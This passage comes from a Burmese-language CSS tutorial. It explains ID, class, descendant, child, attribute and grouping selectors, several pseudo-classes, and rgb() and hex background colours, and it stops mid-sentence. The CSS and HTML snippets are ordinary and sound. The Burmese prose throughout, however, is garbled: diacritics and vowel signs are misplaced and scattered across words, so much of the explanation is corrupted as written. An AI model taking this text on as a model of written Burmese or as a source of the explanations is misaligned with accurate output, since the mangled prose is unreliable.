body,  h1,  ul,  a  စသပဖေင့်  Element  Name  အတိုငး်  Select  လုပယူ်ပခငး်ပဖေစ်တဲ့အတက်ွြ  သူတို့ကြို  Element
Selector ိခါ်တာပါ။ ID Selector ကြိတာ့ id Attribute သတမ်တှ်ိ ပးထားတဲ့ Element ိတကုိွြ id နဲ့ပဲ Select
လပုပ်ခငး်ပဖေစ်ပါတယ်။ ဥပမာ  -  ကြျွန်ိ တာတ်ို့ရေဲ့  HTML Document  ထမဲာှ ဒလီို  Element Structure  ပါဝငတ်ယ်
ဆုိအကြ ပါစုိ့ -

<ul id="nav">
  <li id="key-nav"> … </li>
  <li> … </li>
  <li> … </li>
  …
</ul>

<p id="highlight"> … </p>

<ul id="sitemap">
  …
</ul>

<p id="foot-note"> … </p>

ul { background: pink; } လို့ ိရေးသားမယ်ဆုိရေင် ဒီ  Structure  မာှ ပါဝငတ်ဲ့  <ul> Element  နစ်ှခု
စလုံး ရေဲ့  Background ကြ ပနး်ိရောငပ်ဖေစ်သွားမာှပါ။ ကြျွန်ိ တာတ်ို့ကြ အိပါ်ကြ <ul> Element တစ်ခထုအဲတက်ွြ
Style  သတမ်တှလ်ိုရေင်ိ တာ ့သူမာှိပးထားတဲ့ ID ကုိြပါ ထည့်သွငး် Select လုပ်ိ ပးဖေိုလ့ိုမာှပဖေစ်ပါတယ်။  ဥပမာ - 

ul#nav {
  background: pink;
}

(သုိမ့ဟတု်)
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#nav {
  background: pink;
}

# Sign  ိလးကုိြ  ID Selector  လိုိ့ ခါ်တာပဖေစ်ပါတယ်။  ul#nav ရေဲ့  အဓပိ္ပါယ်ကြ  "ID  ကုိြ  nav  လ့ုိိပးထားတဲ့
<ul> Element ကုိြ Select လုပပ်ါ" ဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ်။ #nav ရေဲ့  အဓပိ္ပါယ်ကြိတာ ့"ID nav လ့ုိိပး ထား
တဲ့  Element  ကုိြ  Select  လပုပ်ါ"  ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပါတယ်။ ဒါိအကြာင့်  ဘယ်လိို ရေးိရေး ကြျွန်ိ တာတ်ို့လိုချင်  တဲ့
ရေလဒ် ပဖေစ်တဲ့ ID မာှ nav လိုိ့ ပး ထားတဲ့ <ul> Element ကုိြ Background ပနး်ိရောငသ်တမ်တှပ်ခငး်ရေလဒ် ရေရေှိ
မာှပပဲဖေစ်ပါ  တယ်။  ကွြာပခားချက်ြ  အနညး်ငယ်ရေှိိ ပမယ့်  လက်ြိတွ့ိရေးသားတဲ့အခါမာှ  ိရေးသားသူရေဲ့ိရေးွချယ်မှုသာ
အဓကိြပဖေစလ်ို့ နစ်ှသက်ြရောနညး်လမး်နဲ့ ရေးသားနိုငပ်ါတယ်။ ိပးထားတဲ့ Structure နမနူာမာှ <p> Element လညး်
နစ်ှခပုါလို့  အဲဒ့ထီကဲြ  id="highlight" လ့ုိ  ိပးထားတဲ့  Element  ကုိြပဲ  ိရေးွယူချငရ်ေင်  p#highlight
(သုိမ့ဟတု်) #highlight ဆုိတဲ့ ID Selector နညး်လမး်နဲ့ ိရေးွယူနိုငမ်ာှ ပဖေစ် ပါတယ်။

Class  Selector  ကြိတာ့  ိရေးသားပုံအားပဖေင့်  ID  Selector  နဲ့  ခပဆ်ငဆ်ငပ်ါပ။ဲ  Element  ိတမွာှ  class
Attribute ိပး ထားဖေို့လိုပါတယ်။ # Sign ကုိြ ID Selector အပဖေစ်အသံုးပပုရေသလိုပဲ Dot ( . ) ကုိြ Class Selector
အပဖေစ် အသံုးပပုရေပါတယ်။ ကြျွန်ိ တာတ်ို့မာှ ဒလီို  Element Structure ရေှိတယ်ဆုိအကြပါစုိ။့

<p> … </p>
<p class="note"> … </p>
<p> … </p>
<p class="note"> … </p>

<p> Element  ိလးခပုါဝငပ်ါတယ်။  ဒါိပမယ့်  အ့ဲဒထီကဲြ  class="note" လ့ုိိပးထားတဲ့နစ်ှခကုိုြပဲ  ိရေးွချယ်
Select လုပခ်ျငရ်ေင်ိ တာ ့ခလုိုိ ရေးသားိပးရေမာှ ပဖေစ်ပါတယ်။

p.note {
  color: gray;
  font-size: 11px;
}

(သုိမ့ဟတု်)

.note {
  color: gray;
  font-size: 11px;
}

ID Selector မာှလိုပဲ p.note ရေဲ့  အဓပိ္ပါယ်ကြ "Class မာှ note လိုိ့ ပးထားတဲ့ <p> Element ကုိြ Select လုပပ်ါ"
ဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပပးီ .note ရေဲ့  အဓပိ္ပါယ်ကြိတာ့ "Class မာှ note လ့ုိိပးထားတဲ့ Element ကုိြ Select လုပပ်ါ"
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ဆုိတဲ့အဓပိ္ပါယပ်ပဲဖေစ်ပါတယ်။  နစ်ှသက်ြရောနညး်လမး်နဲ့  ိရေးသားနိုငပ်ါတယ်။  တစ်ချို ့ကြ  အဓပိ္ပါယ်ပိုမိုိ ပါ်လငွတ်ဲ့
p.note ိရေးဟနကုိ်ြ  အားိပးအကြိပမယ့်တစ်ချို ့ကြလညး်  စာလုံးတစ်လုံးနစ်ှလုံးသက်ြသာလညး်မနညး်ဘးူ  ဆုိတဲ့
သိဘာနဲ့ .note ိရေးဟနက်ြို အားိပးအကြပါတယ်။ 

မတ်ှချကြ် ။ ။ HTML Document တစခ်မုာှ ID တူတ့ဲ Elements နစှခ်မုရေှိသင့်ပါဘးူ။ CSS ကြိတာ့ ID တူတ့ဲ Element နစှခ်ု
ရေှိိ န လညး် နစှခ်လံုုးအတွကြ ်အလုပလု်ပသ်ာွးမာှပါပ။ဲ ဒါိပမယ့် သဘာဝအရေ ID ဆုိတာ Element ိတွကြို Identify လုပတ်ာပါ။
Unique  ပဖေစရ်ေပါတယ။်  CSS  မာှ  ပပဿနာမရေှိိ ပမယ့်  ိနာကြပ်ိုငး်  JavaScript  နဲ့  Element  ိတွကြို  စမီတ့ဲံအခါ  ID  တူတ့ဲ
Element  ိတွ ရိှေိန ရေင် မလုိလားအပတ့ဲ် အခကြအ်ခဲိ တွ ိတွ့ရေမာှပဖေစပ်ါတယ။်  Class  ကြိတာ့  Element  ိတွကြို  Classify
လုပ် တာပါ။ သဘာဝအရေ ကြိုကြ အမျိုးတူရောစဖုေို့  သုံးရေတာပဖေစလုိ့် ိဖောပ်ပပုံအမျိုး အစားတူတ့ဲ  Element  ိတွကြို  Class  အတူတူ
ိပးတာ လုပသ်င့်တ့ဲအလပုတ်စခ်ု ပပဲဖေစပ်ါတယ။် Front-End Expert ိတွကြိတာ့ CSS အတွကြ် Element ိတွကြို ID မိပးပဲ
Class ိပးတာကြပိုသင့်ိ တာတ်ယလုိ် ့အအကြပံပုအကြိလ့ရေှိပါတယ။်

3.3 - Slightly Advanced CSS Selectors
အနညး်ငယ်ထးူပခားပပးီ  အသံုးဝငတ်ဲ့  Selector  တစ်ချို ့ကုိြ  ထပမ်ံိ ဖောပ်ပပါမယ်။  အ့ဲဒါိတကွြိတာ့   Descendant
Selector, Child Selector, Attribute Selector  တို့ပဲ  ပဖေစ်ပါတယ။်  Descendant Selector  ဆုိတာ  Element
တစ်ခအုတငွး်မာှ ထပဆ်င့်ရေှိိ နတဲ့ Element ိတကုိွြ Select လုပဖ်ေိုသံု့းပါ တယ်။ Nested Selector လ့ုိလညး်ိခါ်ပါ
တယ်။  Document  တစ်ခမုာှရေှိသမျှ Element  တိုငး်ကုိြ  Class  ိတ ွ ID  ိတ ွလိုက်ြိပးိနစရော မလိုပဲ  ိရေးွချယ်
Select  လပုန်ိုငတ်ဲ့  နညး်လမး်ပဖေစ်လို့  အလနွအ်သံုးဝငပ်ါတယ်။   HTML Element  Structure  ိလးတစ်ခနုဲ့  တွဲ
အကြည့်ချင ်ပါတယ်။

<a href="#">Outside Link</a>

<p>
  <a href="#">Inside Link One</a>
  <strong><a href="#">Inside Link Two</a></strong>
</p>

ဒနီမနူာမာှ  <a> Element  သံုးခပုါဝငပ်ါတယ်။ တစ်ခကုြ သီးပခားရေှိိ နတာပါ။ နစ်ှခကုြိတာ့  <p> Element  ထမဲာှ
ရေှိိ န တာပါ။ <p> Element အတငွး်ထကဲြ <a> တစ်ခကုြ <strong> Element တစ်ခအုတငွး်ထကုိဲြထပ်ိ ရောက်ြိန
ပါ ိသးတယ်။ အ့ဲဒီ <a> Element ိတကုိွြ ဒနီညး်နဲ ့Select လပုယူ်နိုငပ်ါတယ်။

p a {
  color: gray;
}

p [space] a လို့ ိရေးသားထားတာပါ။ အ့ဲဒီ [space] ကုိြ Descendant Selector အိနနဲ့ သံုးလိုက်ြတာပဖေစ်ပါ
တယ်။ အဓပိ္ပါယ် ကြ "<p> Element အတငွး်ထကဲြ <a> Element ိတကုိွြ Select လပုလ်ိုက်ြပါ"  လ့ုိအဓပိ္ပါယ်ရေပါ
တယ်။ ဒါိအကြာင့်  <p> Element အတငွး်ထကဲြ <a> Element နစ်ှခလုုံးကုိြ ိရေးွချယ်လိုက်ြတဲ့ သိဘာလညး်ပဖေစ်ပါ
တယ်။ ဒါိပမယ့် အပပငဘ်က်ြမာှ သီးပခားရေှိိ နတဲ့ <a> ကုိြိတာ ့ထည့်သွငး် Select လုပမ်ာှမဟတုပ်ါဘးူ။
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မတ်ှချကြ် ။ ။ နမနူာ Element Structure မာှ <a> Element ိတွအတွကြ် href Attribute မာှ URL အစစအ်မနှမ်ိပးထားပဲ
# Sign ိလးကြို ိပးထားပါတယ။် အဲ့ဒါ ဘာအဓပိ္ပါယမ်မှဟတ်ုပါဘးူ။ နမနူာ သကြသ်ကြ်ိ ဖောပ်ပချငတ်ာပဖေစလုိ့်  URL အစစအ်မနှ်
မထည့်  ိတာပ့ဲ  ခပလွ်ယလွ်ယ်  # Sign  ိလးတစခ်တုညး်  ထည့်ထားလုိကြတ်ာပဖေစပ်ါတယ။်  # Sign  ိလးဟာ  URL  မာှ
ထည့်သငွး် အသုံးပပုနိုင ်တ့ဲ Valid Sign ပဖေစလုိ့် တစပ်ခား သိကြအင်္ဂတိတွအစား # Sign ကြို နမနူာအိနနဲ့အသုံးပပုတာပါ။ 

p strong a {
  color: gray;
}

p [space] strong [space] a  လို့  သံုးထားပါတယ်။  အဓပိ္ပါယ်ကြ  "<p> Element  အတငွး်ထကဲြ၊
<strong> Element အတငွး်မာှ ရေှိိ နတဲ့ <a> ကုိြ Select လုပပ်ါ" ဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်လို့ ိပးထားတဲ့  Structure
ထကဲြ  Inside  Link  Two  တစ်ခု  တညး်ကုိြပဲိ ရေးွချယ်သာွးမာှပဖေစ်ပါတယ်။  ဒနီညး်နဲ့  Element  တစ်ခအုတငွး်မာှ
ထပဆ်င့်ရေှိ ိနတဲ့ Element ိတကုိွြ Select လုပသွ်ားနိုင် ပါတယ်။ လက်ြိတွ့  Project ိတမွာှ ိရေးသားအသံုးပပုိလ့
ရေှိတဲ့နမနူာ တစ်ချို ့ထပမ်ံိ ဖောပ်ပလိုက်ြပါတယ်။ 

#header a {
  text-decoration: none;
  color: black;
}

#nav li a.active {
  background: black;
  color: white;
}

.note strong {
  font-weight: normal;
  color: red;
}

#footer p {
  font-size: 11px;
  color: gray;
}

a img {
  border: 0 none;
}

Child Selector ကြိတာ့ Descendant နဲ့သိဘာတရေားဆငပ်ါတယ်။ Element တစ်ခအုတငွး်မာှ ထပဆ်င့်ရေှိိ နတဲ့
Element ကုိြပဲ Select လပုတ်ာပါ။ ကွြာပခားချက်ြကြိတာ့ Descendant Selector ကြ Element တစ်ခအုတငွး်မာှရေှိ
သမျှ ကုိြက်ြညတီဲ့ Element ိတအွားလုံးကုိြ Selector လပုသွ်ားမာှပါ။ Child Selector ကြိတာ့ Direct Child ပဖေစ်
တဲ့ Element ိတကုိွြသာ ိရေးွချယ်ိပးမာှပါ။ ထပဆ်င့် Element ိတနွဲ့ရေှိိ နတဲ့ အပခား Element ိတကုိွြ ထည့်သွငး်
Select လပု်ိ ပးမာှမဟတုပ်ါဘးူ။ Descendant Selector ိလလ့ာဖေို့ သံုးခဲ့တဲ့ Element Structure ကုိြပဲ ပပနလ်ည်
အသံုးပပုချင ်ပါတယ်။
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<a href="#">Outside Link</a>

<p>
  <a href="#">Inside Link One</a>
  <strong><a href="#">Inside Link Two</a></strong>
</p>

<p> Element အတငွး်ထကဲြ <a> Element ကုိြ ဒနီညး်နဲလ့ညး် Select လပုယူ်နိုငပ်ါတယ်။

p > a {
  color: gray;
}

Arrow သိကြအင်္ဂတိလးကြ ( > ) Child Selector ပပဲဖေစ်ပါတယ်။ အဓပိ္ပါယ်ကြ "<p> Element အတငွး်ထကဲြ Direct
Child ပဖေစ်တဲ့ <a> Element ကုိြ Select လုပလ်ိုက်ြပါ" ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပါတယ်။ ဒီ Selector ကြ Inside Link
One  ဆုိတဲ့ <a> Element တစ်ခတုညး်ကုိြသာ ိရေးွချယ်ိပးသွားမာှပါ။ Inside Link Two ဆုိတဲ့ <a> Element
ကုိြိတာ့ Direct Child မဟတုပ်ဲ <strong> Element အတငွး်ထမဲာှ ထပဆ်င့်ရေှိိ နတာပဖေစ်လို့ ထည့်သွငး်ိရေးွချယ်
သွားမာှ မဟတုပ်ါဘးူ။ ဒါကြ Child Selector နဲ့ Descendant Selector တို့ရေဲ့ကွြာပခားချက်ြပ ဲပဖေစ်ပါတယ်။

ိနာက်ြတစ်ခကုြိတာ့  Attribute Selector  ပဖေစ်ပါတယ်။  Element  မာှိပးထားတဲ့  Attribute  နဲ့  Select  လုပတ်ာ
ပဖေစ်ပပးီ သူလညး်ပဲ အိတာအ်သံုးဝငတ်ဲ့ Selector ပဖေစ်ပါတယ်။ ိလးိဒါင့်ကြငွး်အတငွ်းမာှ ိရေးိပးရေပါ တယ်။ ဥပမာ
-  [title] ဆုိတာ  title Attribute  ရေှိတဲ့  Element  အားလုံးကုိြ  Select  လပုလ်ိုက်ြပခငး်ပဖေစ်ပါတယ။်
img[alt] ဆုိရေင်ိ တာ့ <img> Element ိတထွကဲြမှ alt Attribute ရေှိတဲ့ Element ိတကုိွြ Select လပုလ်ိုက်ြ
တာပါ။ img[alt="Feature"] ဆုိရေင်ိ တာ့ <img> Element ိတထွကဲြမှ alt="Feature" လ့ုိ သတမ်တှ်
ထားတဲ့ Element ိတကုိွြ Select လပုတ်ာ ပဖေစ်ပါတယ်။ အထးူသပဖေင့် <input> Element ဟာ သူ့ တစ်ခတုညး်နဲ့
text, radio, button စသပဖေင့် Type အမျို းမျို း သတမ်တှန်ိုငတ်ဲ့အတက်ွြ အ့ဲဒီ type Attribute ကုိြ အိပခခံ
ပပးီ Select လုပ်ိ ပးဖေို ့လိုအပတ်က်ြပါတယ်။  နမနူာတစ်ချို ့ ိဖောပ်ပလိုက်ြပါတယ်။

input[type=text] {
  background: yellow;
  border: 1px solid gray;
}

input[type=submit] {
  padding: 5px 15px;
}

input[type=radio] {
   margin-right: 5px;
}

အခုိ ဖောပ်ပခဲ့တဲ့  Descendant Selector, Child Selector နဲ့  Attribute Selector တို့ကုိြ ထိိရောက်ြိအာငအ်သုံးချ
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နိုငမ်ယ်ဆုိရေင ်Element ိတကုိွြ Select လပုရ်ေတာ များစွာထိိ ရောက်ြလယ်ွကူြသွားမာှပပဲဖေစ်ပါတယ်။

3.4 - Pseudo-classes
Pseudo-class  ိတဟွာ  CSS Selector  ရေဲ့အစိတ်အပိုငး်တစ်ရေပပ်ဖေစ်ပါတယ်။  Element  ရေဲ့  "အိပခအိန"  ိပါ်မူ
တည် ပပးီ Select လုပတ်ဲ့နညး်လမး်ိတပွဖေစ်ပါတယ်။ အိပခအိနဆုိတာကြ၊ အသံုးပပုသူကြ Element ကုိြ Mouse နဲ့
ိထာက်ြ လိုက်ြတဲ့အခါ၊  အသံုးပပုသူကြ  Element  ကုိြ  Click  လုပလ်ိုက်ြတဲ့အခါ၊  Element  ကြ  Focus  ပဖေစ်သွားတဲ့
အခါ၊ Element ကြ ိနာက်ြဆံုး Element ပဖေစ်ိနတဲ့ အခါ စသပဖေင့် Element ိတရွေဲ့  ဘယ်လိုအိပခအိနမာှ ဘယ်လို
Style ိဖောပ်ပလိုက်ြ ပါလို့ သတမ်တှန်ိုငဖ်ေို့  Select လုပယူ်တဲ့ Selector ိတပွ ဲပဖေစ်ပါတယ်။

:hover Pseudo-class ကြ Element ကုိြ Mouse နဲ့ ိထာက်ြလိုက်ြတဲ့အခါ ိဖောပ်ပိစလိုတဲ့ Style ိတသွတမ်တှဖ်ေို့
သံုးပါတယ်။ အသံုးပပုပုံကြိတာ့ - 

a:hover {
  color: red;
}

ဒလီိုိ ရေးသားမယ်ဆိရုေင် <a> Element ိတကုိွြ Mouse နဲ့ိ ထာက်ြလိုက်ြတဲ့အခါ စာလုံးအနီိ ရောင ်ိပပာငး်ိပးမာှ ပဖေစ်
ပါ တယ်။ :hover အပါအဝင် Pseudo-class အများစုကုိြ မညသ်ည့် Element နဲ့မဆုိ တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။
ိဖောပ်ပခဲ့ပပးီပဖေစ်တဲ့ Selector ိတနွဲ့လညး် တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။  ဥပမာ - 

#nav li:hover {
  background: green;
}

p:hover a {
  color: lightblue;
}

:visited Pseudo-class ကုိြိတာ့ <a> Element နဲ့သာတွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။ တစ်ကကိြမသွ်ားဖေူး တဲ့ URL
ကုိြ ညွှနး်ထားတဲ့  Link  ိတကုိွြ တစ်ကကိြမမ်မှသွားဖေးူိသးတဲ့  URL  ကုိြ ညွှနး်ဆုိထားတဲ့  Link  ိတနွဲ့  မတကဲွူြ ပပား
ိအာင်  Style ိတသွတမ်တှဖ်ေို့ အတက်ွြသံုးနိုငပ်ါတယ်။ Google Search တို့ Wikipedia တို့လို Website ိတ ွမာှ
ိလလ့ာအကြည့်ရေင် လညး် ိတွ့နိုငပ်ါလမိ့်မယ်။ မသွားဖေးူိသးတဲ့ Link ိတကွြ အိရောငတ်စ်မျို း၊ တစ်ကကိြမ် သွားဖေးူပပးီ
သား Link ိတကွြ အိရောငတ်စ်မျို းခွဲပခားိဖောပ်ပတက်ြအကြပါတယ်။ အမနှ်ိ တာ့ ဒလီိုခွဲပခားိဖောပ်ပတာဟာ အသံုးပပုသူ
အတက်ွြ များစွာအိထာက်ြ အကူြပဖေစ်လို့  ကြျွန်ိ တာတ်ို့ကြလညး်  Link  ိတကုိွြ  :visited သံုးပပးီ  ကဲွြပပားိအာင်
Style ိတသွတမ်တှ်ိ ပးထားသင့် ပါတယ်။

a {
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  color: blue;
}

a:visited {
  color: gray;
}

ဒလီိုခွဲပခားသတမ်တှ်ိ ပးလိုက်ြရေင် မသွားဖေူးိသးတဲ့ Link ိတကုိွြ စာလုံးအပပာနဲ့ပပိပးပပးီ သွားဖေးူပပီးသား Link ိတွ
ကုိြိတာ ့ခဲိ ရောငစ်ာလုံးနဲ့ ပပသိပးမာှပပဲဖေစ်ပါတယ်။

:active Pseudo-class  ကြိတာ့  Element  ကုိြ  Click  နှိပလ်ိုက်ြတဲ့အခါ  (သုိမ့ဟတု်) Touch  လုပလ်ိုက်ြတဲ့အခါ
ိဖောပ်ပိစလိုတဲ့  Style  ကုိြ သတမ်တှဖ်ေို့အသံုးပပုနိုငပ်ါ တယ်။ သူလညး်ပမဲညသ်ည့်  Element  နဲ့မဆုိတွဲဖေက်ြအသံုးပပု
နိုငပ်ါတယ။် ဒါိပမယ့် အသံုးပပုသူ  Click နှိပလ်ို့ရေမယ့်  Element ိတနွဲ့သာတွဲဖေက်ြအသံုးပပုသင့်ပါတယ်။

button:active {
  background: gray;
}

:focus Pseudo-class ကုိြ  Form Input Element ိတပွဖေစ်တဲ့  <input> <textarea> <select> တို့နဲ့
တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။  Element ကုိြ  Focus ပဖေစ်တဲ့အချနိမ်ာှ ဘယ်လိုိ ဖောပ်ပရေမလသဲတမ်တှဖ်ေို့ အသံုးပပုနိုငပ်ါ
တယ်။

input[type=text] {
  background: white;
}

input[type=text]:focus {
  background: yellow;
}

ဒလီို ိရေးသားိပးလိုက်ြပခငး်အားပဖေင့် Text Input ိတဟွာ မလူကြိနာက်ြခံ အပဖေူိရောငန်ဲ့ိ ဖောပ်ပိနပပးီ Element ကုိြ
Cursor ိရောက်ြလာပပးီ Focus ပဖေစ်သွားတဲ့အခါမှ ိနာက်ြခအံိရောင် အဝါိရောငန်ဲ့ိ ပပာငး်လဲိ ဖောပ်ပိပးမာှပဖေစ်ပါတယ်။
နမနူာမာှ  Pseudo-class ကုိြ Attribute Selector နဲ့ တွဲဖေက်ြအသံုးပပုထားတာကုိြလညး်သတပိပုသင့်ပါတယ်။  ဒလီို
တွဲ ဖေက်ြအသံုးပပုလို့ရေပါတယ်။

:first-child Pseudo-class  ကုိြိတာ့  Select  လပုထ်ားတဲ့  Element  ိတထွကဲြ ပထမဆံုး  Element  တစ်ခု
တညး်ကုိြ  ထူးပခားိဖောပ်ပိစလို့တဲ့   Style  ိတသွတမ်တှဖ်ေိုသံု့းပါတယ။်   :last-child Pseudo-class  လညး်
သိဘာတရေားအတတူပူါပ။ဲ  :last-child  ကြ Select  လပုထ်ားတဲ့  Element  ိတထွကဲြ ိနာက်ြဆံုး  Element
တစ်ခတုညး်ကုိြ ထးူပခားိဖောပ်ပိစ လိုတဲ့  Style ိတသွတမ်တှဖ်ေို့သံုးရေတာပဖေစ်ပါတယ်။
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#nav li:last-child {
  border: 0 none;
}

#page p:first-child {
  font-weight: bold;
}

3.5 - Grouping Selectors
ိဖောပ်ပခဲ့တဲ့  Selector  ိတကုိွြ  Group  လုပပ်ပးီိတာလ့ညး် အသံုးပပုနိုငပ်ါတယ်။ ိဖောပ်ပိစလိုတဲ့  Style  တတူဲ့အခါ
CSS Rule ိတကုိွြ ထပခ်ါထပခ်ါပပနမ်ိရေးပ ဲတစ်ကကိြမတ်ညး်ိရေးလို့ရေနိငုမ်ာှပါ။ 

p.note {
  background: #efefef;
  font-size: 12px;
}

#footer .copyright {
  background: #efefef;
  font-size: 12px;
}

code {
  background: #efefef;
  font-size: 12px;
}

ိပးထားတဲ့နမနူာမာှ  Rules  ိတကွြ တူိနတာကုိြိတွ့နိုငပ်ါတယ်။ အမနှ်ိ တာ့  အ့ဲဒလီိုတူိ နပပဆုိီရေင်  ခလုိုတစ်ကကိြမ်
တညး် ိရေးလိုက်ြလို့ရေပါတယ်။ 

p.note, #footer .copyright, code {
  background: #efefef;
  font-size: 12px;
}

Selector  ိတကုိွြ Comma (,)  နဲ့ တွဲပပးီ  Group လပုလ်ိုက်ြပခငး်ပဖေစ်ပါတယ။် Selector ိတဟွာ CSS မာှ အိရေး
အကကီြးဆံုးပဖေစ်သလို  တစ်ပခားိနရောိတမွာှလညး်  အသံုးဝငပ်ါိသးတယ။်  ဒီ  Selector  ိတကုိွြပဲ  jQuery  လုိ
JavaScript Framework ိတကွြ ပပနလ်ညအ်သံုးပပုပါတယ်။
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3.6 - Basic Properties and Values

Background
Layout  နဲ့  ပတသ်က်ြတဲ့ကိြစ္စ တမွိလလ့ာခင်  အိပခခကံြျတဲ့  CSS  Property  တစ်ချို ့ကုိြ  အရေငအ်ကြည့်လိုက်ြချငပ်ါ
တယ်။ Element ိတရွေဲ့  Background သတမ်တှဖ်ေို့အတက်ွြ CSS Background Property (၅) ခု ရေှိပါတယ်။ အ့ဲဒါ
ိတကွြိတာ့  background-color, background-image,  background-repeat, background -attachment  နဲ့
background-position  တို့ပပဲဖေစ်ပါတယ်။  ဒီ  Background  Property  ိတဟွာ  တစ်ခခုျငး်  စီ  သံုးိလရ့ေှိသလို
တွဲဖေက်ြပပးီိတာလ့ညး်  သံုးိလရ့ေှိပါတယ်။  Element  ိတရွေဲ့  ိနာက်ြခအံိရောငသ်က်ြသက်ြ  သတမ်တှ်  လုိရေင်
background-color Property ကုိြ သံုးနိုငပ်ါတယ။်

p {
  background-color: yellow;
}

background-color Property  နဲ့ တွဲဖေက်ြအသံုးပပုရေတဲ့  Color Value  အမျို းမျို း ရေှိပါတယ်။  black, white, red,
green,  blue,  yellow, cyan,  brown, gray  စသပဖေင့်  Color  Name  ိတကုိွြ အသံုးပပုနိုင်  ပါတယ်။ ဒါိပမယ့်
လက်ြိတွ့မာှ တစ်ကြယ့်အိသးစိတအ်ိရောင်ိ တသွတမ်တှလ်ိုရေင်  Color Name ိတနွဲ့မလုံိ လာက်ြ ိတာပ့ါဘးူ။ ဒါ
ိအကြာင့်  black နဲ့ white ကြလွဲရေင ်ကြျနတ်ဲ့ Name ိတကုိွြ အသံုးနညး်ပါတယ်။

ိနာက်ြထပ ်Color Value အိနနဲ့အသံုးပပုနိုငတ်ာကြိတာ ့ RGB Function ပဖေစ်ပါတယ်။ ကြျွန်ိ တာတ်ို့ ိတွ့ ပမင်ိ န
အကြ စံုလငတ်ဲ့အိရောင်ိ တကုိွြိဖောပ်ပဖေို့ ကွြနပ်ျူတာ Screen  ိတကွြ Red, Green, Blue  ဆုိတဲ့ အိရောငသံု်းိရောငကုိ်ြ
ိပါငး်စပပ်ပးီိတာ့ ိဖောပ်ပိပးတာပဖေစ်ပါတယ်။ CSS မာှလညး် RGB Value ိတသွတမ်တှပ်ပးီ လုိချငတ်ဲ့ အိရောငကုိ်ြ
ထည့် သွငး်အသံုးပပုနိုငပ်ါတယ်။

p {
  background-color: rgb(255, 255, 0);
}

ဒါလညး်ပဲ  <p> Element  ိတကုိွြ ိနာက်ြခအံဝါိရောင် သတမ်တှလ်ိုက်ြတာပဲ ပဖေစ်ပါတယ်။  rgb() Function  ကုိြ
အသံုးပပုထားပပးီ အထမဲာှ  Parameter  သံုးခအုိနနဲ့  Red, Green, Blue  အစဉလ်ိုက်ြိပးရေပါတယ်။ သတမ်တှ်ိ ပး
နိုငတ်ဲ့ ဂဏနး်တနဖ်ေိုး ိတကွြိတာ့ 0 ကြိန 255 အထပိဖေစ်ပါတယ်။ rgb(255, 0, 0) ဆုိရေင် Solid Red ကုိြ ရေ
မာှပါ။  Red  ိနရောမာှ  255  အပပည့်ိ ပးထားပပီး  ကြျန်  Green  နဲ့  Blue  အတက်ွြ  0  သတမ်တှထ်ားလို့ပဖေစ်ပါတယ်။
အလားတပူဲ rgb(0, 255, 0) ဆုိရေင် Solid Green, rgb(0, 0, 255) ဆုိရေင်ိ တာ့ Solid Blue အိရောင်
ကုိြ ရေရေှိမာှပပဲဖေစ် ပါတယ်။ rgb(0, 0, 0) ကြ အနက်ြိရောငပ်ဖေစ်ပါတယ်။ ကွြနပ်ျူတာ Screen အတက်ွြ အိရောငမ်ရေှိ
တာကြ  အနက်ြိရောငပ်ဖေစ်ပါတယ်။  rgb(255,  255,  255) ဆုိရေင်ိ တာ့  အပဖေူိရောငပ်ဖေစ်ပါတယ်။  သံုးခလုုံး
အပပည့်ိ ပါင်း စပလ်ိုက်ြရေင် ရေနိုငတ်ဲ့အလငး်ဆံုးအိရောငပ်ဖေစ်တဲ့ အပဖေူိရောငကုိ်ြ ရေရေှိပခငး်ပဖေစ်ပါတယ်။ rgb(200, 0,
0) ဆုိရေင်ိ တာ့ အနရီေင့် ိရောငကုိ်ြရေရေှိမာှပါ။ Red ကုိြ အပပည့်မိပးပဲ 200 လို့ ိပးထားပပးီ Green နဲ့ Blue ကြ 0 ပဖေစ်
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ိနတဲ့ အတက်ွြ အနက်ြိရောင ်ဘက်ြကုိြပါတဲ့ အန ီ(အနရီေင့်) ကုိြ ရေရေှိမာှပဖေစ်ပါတယ်။ နမနူာမာှိတာ ့rgb(255, 255,
0) လ့ုိိရေးထားပါတယ်။  rgb() မာှ Primary Color တစ်ခပုဖေစ်တဲ့ အဝါအတက်ွြ အိရောငမ်ပါိပမယ့် အနနီဲ့အစိမး်
ကုိြ ိရောစပလ်ိုက်ြရေင် အဝါိရောငရ်ေရေှိတာပ ဲပဖေစ်ပါတယ်။

ပုံ (၃-ခ) CSS RGB Color

ိနာက်ြထပအ်သုံးပပုနိုငတ်ဲ့  Color  Value  ကြိတာ့  Hex  Value  ပပဲဖေစ်ပါတယ်။  Hexadecimal  ဂဏနး်စနစ်နဲ့
ိရေးသားရေပါတယ်။ 

p {
  background-color: #FFFF00;
}

Hex Value  ကုိြ ိရေှ့ ဆံုးကြ # Sign  နဲ့စိရေးိပးရေပါတယ်။ ိနာက်ြမာှိတာ့  (၆)  လံုးတွဲ  Hexadecimal  တနဖ်ေိုးကုိြ
ိပးရေ ပါတယ်။ ကြျွန်ိ တာတ်ို့ ိနစဉသံု်းိနအကြ  Decimal Number system မာှ 0 ကြိန 9 အထိ ဂဏနး် (၁၀) လုံး
ပါဝငပ်ါ တယ်။ Hexadecimal မာှိတာ့ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F ဆုိပပီး ဂဏနး် (၁၆) လုံး
ပါဝငတ်ာ ပဖေစ်ပါတယ်။  Number System  ိတအွိအကြာငး်ကုိြိတာ့  ဒီိ နရောမာှ အိသးစိတ် မိပပာနိုင်ိ တာပ့ါဘးူ။
အအကြမ်းဖေျငး် အားပဖေင့်  Hex  တနဖ်ေိုး  FF  ဟာ  Decimal  တနဖ်ေိုး  255  နဲ့  ညီတယ်လို့ပမဲတှထ်ားိစချငပ်ါတယ်။ ဒါ
ိအကြာင့်  Hex Value မာှ အနမိ့်ဆံုးကြ 00 ပဖေစ်ပပးီ အပမင့်ဆံုးကြ FF ပဖေစ်ပါတယ်။ နမနူာမာှိပးထားတဲ့  (၆)  လံုးတွဲ
